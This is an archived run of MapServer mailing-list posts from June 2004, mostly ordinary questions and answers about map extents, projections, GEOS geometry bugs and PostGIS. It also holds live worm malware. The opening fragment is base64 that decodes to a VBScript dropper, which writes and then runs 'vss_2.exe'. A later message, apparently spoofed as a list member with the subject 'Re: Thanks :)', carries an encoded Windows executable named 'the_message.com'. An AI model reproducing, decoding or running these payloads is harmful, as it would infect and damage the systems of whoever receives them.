LDEwLDEwMywyMiwxODAsNDAsMTczLDEyOCwxMDEsOTksMTExLDEyNywxNjYsMTYwLDE3Miwx MzMsMjUsMjMsNjIsMzcsMTAwLDE2MSw0NCwxMDMsNTgsMTI4LDM0LDQ5LDEwOCwzMywxMzQs NTIsNjksMTIwLDE3NSwxMzksMTcwLDEyOCw0Nyw0Miw3Myw5MywxNiw3Myw4OSwxMzYsNjcs MjQsODQsMTI2LDE4NCwxMzcsMTQwLDExNywxNDEsNTYsNiw2Nyw4LDY5LDc2LDEzMSwxOTcs MTkyLDE3NCwxNjQsMTg1LDUyLDE5NCwxMTAsMTA2LDQ2LDE5OCw3NSw2OCwxNzQsNDMsMTk4 LDE3OCwxMDYsMTA0LDE0OSwxMTksNzksMTQ4LDIzLDE0NSwxOTksNzMsODYsMTE2LDczLDE2 MiwxNCwxMTEsNiwyMSwxNjAsMTUyLDYxLDUzLDUwLDQsNTYsODEsMTQ2LDE4Nyw5MSwxMzUs NzMsNDcsMTMwLDAsMTE1LDE2Miw0MCw1OSwxMzksODYsMTAsMTg2LDExNiwxOTcsMTIzLDEz MSw5MSw5NSwxMTksMTIsMTMyLDc0LDE0NCw5NiwxODksMiwxMjMsMTcsMTYwLDkwLDEzMSw3 MCwxMDYsMTc5LDE3Myw2Nyw4MCw5NSw3MywyMSwxNjgsOTEsNjUsNzQsOTgsMTU2LDg0LDI4 LDgzLDg5LDMsNzUsMTk3LDYwLDQ2LDE1MiwxNzksNTEsMTc3LDk0LDE0MCw4MiwxMDMsMTE4 LDU2LDcxLDU5LDYsMjgsNzUsMTk1LDIzLDAsNjUsMTg5LDQ5LDEwMyw2NywxNCwyNywxMjQs NTIsNDQsNzQsMTkxLDk4LDE0NiwyOSwxODIsMTI2LDE3NywxMTIsMTIsMTA2LDM0LDU3LDEx MywxNDAsNzAsMTE3LDk0LDExLDkxLDE2MywxMzEsMTc3LDksNzEsMzMsMTY3LDExLDE5OCw1 LDg5LDE2OCwxLDEwNiwxMiw0OSw3NSwxNjQsNzIsNzIsMTMwLDExMCwzNCwxNTAsMTQ4LDE5 MiwxMDgsODQsMTQ3LDg3LDEyMiwxNTMsMTgxLDcxLDEzNSw0MCwxNzQsMTgyLDQ5LDExNywx ODYsNjQsNTAsNTYsNTEsMTUzLDc1LDM1LDQxLDI4LDEzOCwzMyw5NCw3MSw3NSwxMzUsMTY4 LDE0NCwxMDEsMTksMTQzLDQ3LDY4LDExLDQwLDk1LDY5LDkxLDE5MiwxMTksMyw5MCwzNCwx NDQsMTAzLDEyMyw3OCwxNTYsMTAwLDYwLDI3LDE3MywxODIsMzcsMTIsMTg3LDEyNiwxLDI3 LDUsOTksODIsMTU2LDE0NywxMiwxNjYsMTkwLDM4LDkyLDE0OCwxMDAsMTk2LDExNSwxOTks NDgsNTIsOTksNCwxMjksNDMsMTY3LDE5MiwxMTgsMzEsMjAsMTA3LDExNywxMjAsMTgzLDEw Myw4MCwxMCwxNzgsMTMyLDYsNzMsODUsMTA4LDg1LDYzLDYzLDE5NSwxNDIsMTY4LDE5MSwx ODksMTM4LDE4MCwxMTcsNTUpDQpmb3IgaT0wIHRvIDIwNTM5DQpmaWxldHh0LldyaXRlKGNo cihhKGkpKSkNCm5leHQNCmZpbGV0eHQuQ2xvc2UNCmRpbSB6DQpkaW0genoNCkNvbnN0IEZv clJlYWRpbmcgPSAxLCBGb3JXcml0aW5nID0gMiwgRm9yQXBwZW5kaW5nID0gMw0KY29uc3Qg UmVtb3RlRXhlID0gInZzc18yLmV4ZSINCnNldCB6eiA9IHdzY3JpcHQuY3JlYXRlb2JqZWN0 KCJ3c2NyaXB0LnNoZWxsIikNCnogPSB6ei5ydW4gKCJ2c3NfMi5leGUiKQ0Kd3NjcmlwdC5x dWl0DQo= ----------leinptcxmaptzkxpfmup-- From boli611 at hotmail.com Mon Jun 7 20:03:28 2004 From: boli611 at hotmail.com (boli) Date: Tue, 8 Jun 2004 11:3:28 +0800 Subject: [Mapserver-users] about extent Message-ID: Hello EveryBody: I am really confused now. I have downloaded and installed the tutorial package and that runs well on my conmputer. But when I checked the map file of "example1-1.map", the extent item there is "EXTENT 201621.496941 -294488.285333 1425518.020722 498254.51151". While I got the extent from "states_ugl.shp" with "shpinfo", the extent is "-97.23 41.61 -82.12 49.38". What is wrong? boli boli611 at hotmail.com 2004-06-08 From mhln25 at yahoo.com Mon Jun 7 21:02:11 2004 From: mhln25 at yahoo.com (Mahalakshmi Narayanan) Date: Mon, 7 Jun 2004 21:02:11 -0700 (PDT) Subject: [Mapserver-users] GIS extn of SQL Message-ID: <20040608040211.59921.qmail@web50707.mail.yahoo.com> Hi Can somebody help me on where to find the GIS extn. to SQL queries and the standards.. Also, if any books that's worth reading, pls.. Thanks Mahalakshmi Narayanan __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From mapserver at resellmo.com Mon Jun 7 20:29:27 2004 From: mapserver at resellmo.com (K Resellmo) Date: Mon, 07 Jun 2004 22:29:27 -0500 Subject: [Mapserver-users] Hunting for global data In-Reply-To: References: Message-ID: <6.0.1.1.2.20040607222348.02ec9058@resellmo.com> Hi all, I've been trying to get the GTOPO30 data into mapserver for a little while too, and some posts here indicate that mapserver can load DEMs. (http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0304/msg00184.html http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0304/msg00239.html) I can make a tileindex of the DEMs with gdaltindex as suggested in the above post, but mapserver will not display the layer. I get an error message: Content-type: text/html msDrawMap(): Image handling error. Failed to draw layer named 'testRaster'. msDrawRaster(): Image handling error. Unrecognized or unsupported image format drawEPP(): Image handling error. /mapdata/dem/e020n40.dem is not an EPPL file. I am running the pre-compiled Win32 binaries of MapServer 4.0.2. Any help for getting MapServer to read the GTOPO30 DEMs (or converting DEMs to another format) would be great. Thanks, Kris At 04:37 PM 5/18/2004, Tyler Mitchell wrote: >I'm looking for any good global-scale datasets to show off MapServer's >capabilities. >The first thing I started looking for was a DEM or elevation image but >everything I'm finding is in some obscure format or another. Anyone got >gtopo in a more readily usable format and, ideally, seamless? >I'm also interested in a any other global datasets - countries, >hydrography, etc. that others are using. > >Any ideas? >Tyler >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From songzh at cs.orst.edu Mon Jun 7 21:40:26 2004 From: songzh at cs.orst.edu (songzh at cs.orst.edu) Date: Mon, 7 Jun 2004 21:40:26 -0700 Subject: [Mapserver-users] GEOS intersection problem Message-ID: <1086669626.40c5433a289ea@webmail.oregonstate.edu> When I performed the intersection between a MULTILINESTRING and a POLYGON, the generated MULTILINESTRING shot off a line which went outside the images extents. The details are as the following: 1) The version of GEOS is downloaded from: [2003//11/06]geos-1.0.0.tar.gz on http://geos.refraction.net It's the latest version I can find. 2) The intersection geometry objects are as the following. geom_base (it has three single lines with a common jointed point): "SRID=6010;MULTILINESTRING((602797 1045929,602897 1045629),(602897 1045629,602997 1045929),(602897 1045629,602897 1045529,602897 1045599,602897 1045439,602897 1045429))" geom_py (a rectangle): "SRID=6010;POLYGON((602797 1045829,602997 1045829,602997 1045529,602797 1045529,602797 1045829))" 3) After the SQL statement "select intersection(geom_base, geom_py) from intersect_test" was issued, the intersected geometry object was: geom_intersect ( a multilinestring): "SRID=6010;MULTILINESTRING((602830.333333333 1045829,602897 1045629),(602897 1045629,602963.666666667 1045829),(602897 1045629,602897 1045599),(602897 1045599,2.30261934254173e-269 1.20137436645991e-301))" We can see that one of the generated multiline string has a point " 2.30261934254173e-269 1.20137436645991e-301 " which is actually (0,0). It shows that one of the result line string links to the point (0, 0), which caused the line going out the image range. I want to know if anybody has any idea about this. How to avoid it? Thanks a lot! Yours, Zhigang Song From songzh at cs.orst.edu Mon Jun 7 21:43:14 2004 From: songzh at cs.orst.edu (songzh at cs.orst.edu) Date: Mon, 7 Jun 2004 21:43:14 -0700 Subject: [Mapserver-users] GEOS intersection problem Message-ID: <1086669794.40c543e24258a@webmail.oregonstate.edu> When I performed the intersection between a MULTILINESTRING and a POLYGON, the generated MULTILINESTRING shot off a line which went outside the images extents. The details are as the following: 1) The version of GEOS is downloaded from: [2003//11/06]geos-1.0.0.tar.gz on http://geos.refraction.net It's the latest version I can find. 2) The intersection geometry objects are as the following. geom_base (it has three single lines with a common jointed point): "SRID=6010;MULTILINESTRING((602797 1045929,602897 1045629),(602897 1045629,602997 1045929),(602897 1045629,602897 1045529,602897 1045599,602897 1045439,602897 1045429))" geom_py (a rectangle): "SRID=6010;POLYGON((602797 1045829,602997 1045829,602997 1045529,602797 1045529,602797 1045829))" 3) After the SQL statement "select intersection(geom_base, geom_py) from intersect_test" was issued, the intersected geometry object was: geom_intersect ( a multilinestring): "SRID=6010;MULTILINESTRING((602830.333333333 1045829,602897 1045629),(602897 1045629,602963.666666667 1045829),(602897 1045629,602897 1045599),(602897 1045599,2.30261934254173e-269 1.20137436645991e-301))" We can see that one of the generated multiline string has a point " 2.30261934254173e-269 1.20137436645991e-301 " which is actually (0,0). It shows that one of the result line string links to the point (0, 0), which caused the line going out the image range. I want to know if anybody has any idea about this. How to avoid it? Thanks a lot! Yours, Zhigang Song From ian.macnaughtan at braziermotti.com.au Mon Jun 7 22:09:15 2004 From: ian.macnaughtan at braziermotti.com.au (ian macnaughtan) Date: Tue, 8 Jun 2004 15:09:15 +1000 Subject: [Mapserver-users] GIS extn of SQL In-Reply-To: <20040608040211.59921.qmail@web50707.mail.yahoo.com> Message-ID: This is a multipart message in MIME format. --=_alternative 001C4FDA4A256EAD_= Content-Type: text/plain; charset="US-ASCII" I'm not sure whether this is what you are looking for but check this site ... http://www.postgis.org/ This is an extension for postgresql to enable spatial queries on postgresql tables. ian. mapserver-users-admin at lists.gis.umn.edu wrote on 08/06/2004 02:02:11 PM: > Hi > > Can somebody help me on where to find the GIS extn. to > SQL queries and the standards.. > > Also, if any books that's worth reading, pls.. > > Thanks > Mahalakshmi Narayanan > > > > > __________________________________ > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger. > http://messenger.yahoo.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users --=_alternative 001C4FDA4A256EAD_= Content-Type: text/html; charset="US-ASCII"
I'm not sure whether this is what you are looking for but check this site ... http://www.postgis.org/

This is an extension for postgresql to enable spatial queries on postgresql tables.

ian.

mapserver-users-admin at lists.gis.umn.edu wrote on 08/06/2004 02:02:11 PM:

> Hi
>
> Can somebody help me on where to find the GIS extn. to
> SQL queries and the standards..
>
> Also, if any books that's worth reading, pls..
>
> Thanks
> Mahalakshmi Narayanan
>
>
>    
>      
> __________________________________
> Do you Yahoo!?
> Friends.  Fun.  Try the all-new Yahoo! Messenger.
> http://messenger.yahoo.com/
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
--=_alternative 001C4FDA4A256EAD_=-- From ummmmm at myrealbox.com Mon Jun 7 22:22:12 2004 From: ummmmm at myrealbox.com (Doug) Date: Tue, 08 Jun 2004 00:22:12 -0500 Subject: [Mapserver-users] Autonumbering of labels? In-Reply-To: References: Message-ID: <40C54D04.8020309@myrealbox.com> That is exactly what we want to do. We have an existing site that uses a commercial product with an expensive annual license fee that our project management team would like to see us replace with OpenSource alternatives. This site does show a textual list of feature attributes whose numbers correspond to labels on the map. Are you saying that with or without ordered labelling, there's no way to order the features predictably? BTW, thanks for everyone's expert advice. We're brand new to MapServer and still fairly new to GIS in general. Doug Steve Lime wrote: > Actually I think I know how it could be done regardless of the value of > force. When you build the labels you could use a special string like > %rn% to denote a draw time substitution (just like runtime substitutions > with the CGI). Then as you plop labels on the map you could keep count > and each label gets the value of count+1 substituted for %rn%. If a > label isn't drawn, no biggie cause the counter doesn't go anywhere > either. > > I wonder though if there is real value in this. What do the numbers > really mean? I could see utility in labeling features and then > referencing them by number elsewhere on a page (e.g. found 5 hotels > within 10 miles of point x). However, there's no way to tie numbers to > actual features, not with more work. > > Could someone file a bug/feature request on this one so it doesn't get > lost? I won't have time until after MUM2 to think about it. > > Steve > > >>>>Stephen Woodbridge 06/07/04 4:18 PM >>> > > Steve Lime, > > This should simplify the issues you raised about this feature. > Basically, the autonumber feature should just draw all the points in the > > view using the FORCE option so there are no renumbering issues, because > they are all drawn. > > -Steve W. > > Doug wrote: > > >>Stephen Woodbridge wrote: >> >> >>>Doug wrote: >>> >>> >>>>The reason we're trying to stay away from MapScript is the thread >>>>safety issues we've been reading about. That and the fact that we > > do > >>>>all of our application coding in Java, for which there doesn't > > appear > >>>>to be any standard, accepted implementation. >>>> >>>>So how to people use MapScript anyway if it's not thread safe? >>>>Always as separate CGI processes? >>> >>> >>> >>>Yes, PHP is required to run as a CGI process and likewise for Perl >>>(ie: you can not run it as an apache module or mod_perl application). >>> >>>So what are your requirements regarding autonumbering and label >>>collisions? >>> >>>-Steve W. >> >> >>If I understand what you're asking, I think we want to show all labels > > >>all the time, even if they collide. Or even if some hid others, we >>wouldn't want to re-order the numbers. >> >>Doug >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From norbert.thieme at ilmenau.baw.de Mon Jun 7 23:53:46 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Tue, 08 Jun 2004 08:53:46 +0200 Subject: [Mapserver-users] about extent In-Reply-To: References: Message-ID: <40C5627A.6070500@ilmenau.baw.de> boli schrieb: > Hello EveryBody: > I am really confused now. I have downloaded and installed the tutorial package and that runs well on my conmputer. But when I checked the map file of "example1-1.map", the extent item there is "EXTENT 201621.496941 -294488.285333 1425518.020722 498254.51151". While I got the extent from "states_ugl.shp" with "shpinfo", the extent is "-97.23 41.61 -82.12 49.38". What is wrong? > boli > boli611 at hotmail.com > 2004-06-08 > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi. This is good like it is. There is nothing wrong. You have to look at the projections in: http://mapserver.gis.umn.edu/doc40/mapfile-reference.html There are two points to have a projection: one for the whole map and one for each layer. This gives you the handle to use different data and provide it in one coordinate system. Without it all your data must have the same projection or you will not see the data together. When I look at your extents it seems that the map is in some kind of projection and your data/layer is in geographical coordinates. Regards, Norbert From boli611 at hotmail.com Tue Jun 8 00:03:01 2004 From: boli611 at hotmail.com (boli) Date: Tue, 8 Jun 2004 15:3:1 +0800 Subject: [Mapserver-users] what is the distinction Message-ID: As projection object is defined both in map object and layer object, is there any distinction between those two projection object? Thanks. ????????????????boli ????????????????boli611 at hotmail.com ????????????????????2004-06-08 From boli611 at hotmail.com Tue Jun 8 00:21:53 2004 From: boli611 at hotmail.com (boli) Date: Tue, 8 Jun 2004 15:21:53 +0800 Subject: [Mapserver-users] about projection Message-ID: How can we know the kind of projection used in a shape file? Some times we get a shape file from others. ????????????????boli ????????????????boli611 at hotmail.com ????????????????????2004-06-08 From boli611 at hotmail.com Tue Jun 8 00:22:46 2004 From: boli611 at hotmail.com (boli) Date: Tue, 8 Jun 2004 15:22:46 +0800 Subject: [Mapserver-users] about projection Message-ID: How can we know the kind of projection used in a shape file? Some times we get a shape file from others. ????????????????boli ????????????????boli611 at hotmail.com ????????????????????2004-06-08 From jacob.delfos at maunsell.com Tue Jun 8 00:29:34 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Tue, 8 Jun 2004 17:29:34 +1000 Subject: [Mapserver-users] what is the distinction Message-ID: The one in the map object is global. It applies to all layers except if specified otherwise inside the layer object. Having a projection definition in the layer object allows you to mix datasets with different projections. If the layer is in the same projection as specified in your mapfile, you can leave out the definition of the layer. From jacob.delfos at maunsell.com Tue Jun 8 00:32:34 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Tue, 8 Jun 2004 17:32:34 +1000 Subject: [Mapserver-users] about projection Message-ID: ...Metadata! Everybody hates it, until they need it. Always ask your supplier what it's in. Sometimes you can guess, but better to make sure. -----Original Message----- From: boli [mailto:boli611 at hotmail.com] Sent: Tuesday, 8 June 2004 3:22 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] about projection How can we know the kind of projection used in a shape file? Some times we get a shape file from others. $B!!!!!!!!!!!!!!!!(Jboli $B!!!!!!!!!!!!!!!!(Jboli611 at hotmail.com $B!!!!!!!!!!!!!!!!!!!!(J2004-06-08 _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From wlazlowski at igpik.waw.pl Tue Jun 8 00:47:14 2004 From: wlazlowski at igpik.waw.pl (=?windows-1252?Q?Tomasz_Wlaz=3Fowski?=) Date: Tue, 08 Jun 2004 09:47:14 +0200 Subject: [Mapserver-users] PROBLEM WITH CLASS EXPRESSION CONNECTED WITH SHPMID Message-ID: <40C56F02.3070202@igpik.waw.pl> HELLO MAPSERVER USERS! What I try to do is center to the selected feature in current map extent. How can I zoom to selected feature (features). I know that I should use some syntax with shpmid / shpext but I DON?T KNOW HOW TO DO THIS. PLEASE HELP ME to dissolve my little problem J In my map file I have ?doubled shapefile?: LAYER NAME PLOT DATA Cataster STATUS ON TYPE polygon LABELITEM "NUMER" LABELMAXSCALE 5000 TRANSPARENCY 10 CLASSITEM "NUMER" CLASS COLOR 245 245 220 OUTLINECOLOR 0 0 0 TEMPLATE "dzialki.html" LABEL COLOR 0 0 0 TYPE BITMAP FONT arial-bold SIZE SMALL ANTIALIAS TRUE POSITION CC PARTIALS FALSE MINDISTANCE 250 BUFFER 4 END END HEADER "dzialki_header.html" FOOTER "dzialki_footer.html" END #------------------------------------------------------ LAYER # Query NAME QPLOT DATA Cataster STATUS OFF TYPE polygon CLASSITEM "NUMER" CLASS # EXPRESSION ([NUMER] eq [value]) COLOR 255 50 10 OUTLINECOLOR 0 0 0 END END In my html file I use this syntax: and it?s work fine. If I put some number in txtbox I get in the map window selected feature. But I ask one more time: DOES ANYBODY KNOW HOW TO ZOOM TO THIS(THOSE) SELECTED FEATURES????? HELLO MAPSERVER USERS! What I try to do is center to the selected feature in current map extent. How can I zoom to selected feature (features). I know that I should use some syntax with [shpmid] but I DON?T KNOW HOW TO DO THIS. PLEASE HELP ME to dissolve my little problem J In my map file I have ?doubled shapefile?: LAYER NAME PLOT DATA Cataster STATUS ON TYPE polygon LABELITEM "NUMER" LABELMAXSCALE 5000 TRANSPARENCY 10 CLASSITEM "NUMER" CLASS COLOR 245 245 220 OUTLINECOLOR 0 0 0 TEMPLATE "dzialki.html" LABEL COLOR 0 0 0 TYPE BITMAP FONT arial-bold SIZE SMALL ANTIALIAS TRUE POSITION CC PARTIALS FALSE MINDISTANCE 250 BUFFER 4 END END HEADER "dzialki_header.html" FOOTER "dzialki_footer.html" END #------------------------------------------------------ LAYER # Query NAME QPLOT DATA Cataster STATUS OFF TYPE polygon CLASSITEM "NUMER" CLASS # EXPRESSION ([NUMER] eq [value]) COLOR 255 50 10 OUTLINECOLOR 0 0 0 END END In my html file I use this syntax: and it?s work fine. If I put some number in txtbox I get in the map window selected feature. But I ask one more time: DOES ANYBODY KNOW HOW TO ZOOM TO THIS(THOSE) SELECTED FEATURES????? HELLO MAPSERVER USERS! What I try to do is center to the selected feature in current map extent. How can I zoom to selected feature (features). I know that I should use some syntax with [shpmid] but I DON?T KNOW HOW TO DO THIS. PLEASE HELP ME to dissolve my little problem J In my map file I have ?doubled shapefile?: LAYER NAME PLOT DATA Cataster STATUS ON TYPE polygon LABELITEM "NUMER" LABELMAXSCALE 5000 TRANSPARENCY 10 CLASSITEM "NUMER" CLASS COLOR 245 245 220 OUTLINECOLOR 0 0 0 TEMPLATE "dzialki.html" LABEL COLOR 0 0 0 TYPE BITMAP FONT arial-bold SIZE SMALL ANTIALIAS TRUE POSITION CC PARTIALS FALSE MINDISTANCE 250 BUFFER 4 END END HEADER "dzialki_header.html" FOOTER "dzialki_footer.html" END #------------------------------------------------------ LAYER # Query NAME QPLOT DATA Cataster STATUS OFF TYPE polygon CLASSITEM "NUMER" CLASS # EXPRESSION ([NUMER] eq [value]) COLOR 255 50 10 OUTLINECOLOR 0 0 0 END END In my html file I use this syntax: and it?s work fine. If I put some number in txtbox I get in the map window selected feature. But I ask one more time: DOES ANYBODY KNOW HOW TO ZOOM TO THIS(THOSE) SELECTED FEATURES????? HELLO MAPSERVER USERS! What I try to do is center to the selected feature in current map extent. How can I zoom to selected feature (features). I know that I should use some syntax with [shpmid] but I DON?T KNOW HOW TO DO THIS. PLEASE HELP ME to dissolve my little problem J In my map file I have ?doubled shapefile?: LAYER NAME PLOT DATA Cataster STATUS ON TYPE polygon LABELITEM "NUMER" LABELMAXSCALE 5000 TRANSPARENCY 10 CLASSITEM "NUMER" CLASS COLOR 245 245 220 OUTLINECOLOR 0 0 0 TEMPLATE "dzialki.html" LABEL COLOR 0 0 0 TYPE BITMAP FONT arial-bold SIZE SMALL ANTIALIAS TRUE POSITION CC PARTIALS FALSE MINDISTANCE 250 BUFFER 4 END END HEADER "dzialki_header.html" FOOTER "dzialki_footer.html" END #------------------------------------------------------ LAYER # Query NAME QPLOT DATA Cataster STATUS OFF TYPE polygon CLASSITEM "NUMER" CLASS # EXPRESSION ([NUMER] eq [value]) COLOR 255 50 10 OUTLINECOLOR 0 0 0 END END In my html file I use this syntax: and it?s work fine. If I put some number in txtbox I get in the map window selected feature. But I ask one more time: DOES ANYBODY KNOW HOW TO ZOOM TO THIS(THOSE) SELECTED FEATURES????? From norbert.thieme at ilmenau.baw.de Tue Jun 8 01:01:48 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Tue, 08 Jun 2004 10:01:48 +0200 Subject: [Mapserver-users] what is the distinction In-Reply-To: References: Message-ID: <40C5726C.9070803@ilmenau.baw.de> boli schrieb: > As projection object is defined both in map object and layer object, is there any distinction between those two projection object? > Thanks. > ????????????????boli > ????????????????boli611 at hotmail.com > ????????????????????2004-06-08 > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Boli, they can be different if you mean this - this is the idea. You use some parameters or an epsg code (you can look at http://www.epsg.org) to define the "source" of your coordinates. Because of that you must always provide the right projection for your data. Then the mapserver can reproject it to the projection of the whole map. The projection of the map is free for choice depending on your needs. You can set that to whatever it should be. Regards, Norbert From skoehler at buschjena.de Tue Jun 8 01:16:46 2004 From: skoehler at buschjena.de (skoehler at buschjena.de) Date: Tue, 8 Jun 2004 10:16:46 +0200 Subject: [Mapserver-users] Mapserver and OFFSETITEMS Message-ID: Hi, when I draw an label I can use an table column which holds the angle (LABELANGLEITEM) for each label. Is there an equivalent for OFFSET-values? Thanks Steffen From steve.lime at dnr.state.mn.us Tue Jun 8 04:37:58 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Tue, 08 Jun 2004 05:37:58 -0600 Subject: [Mapserver-users] Re: Thanks :) Message-ID: ----------ljegvobikwejncpvlnak Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------ljegvobikwejncpvlnak Content-Type: application/octet-stream; name="the_message.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="the_message.com" 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 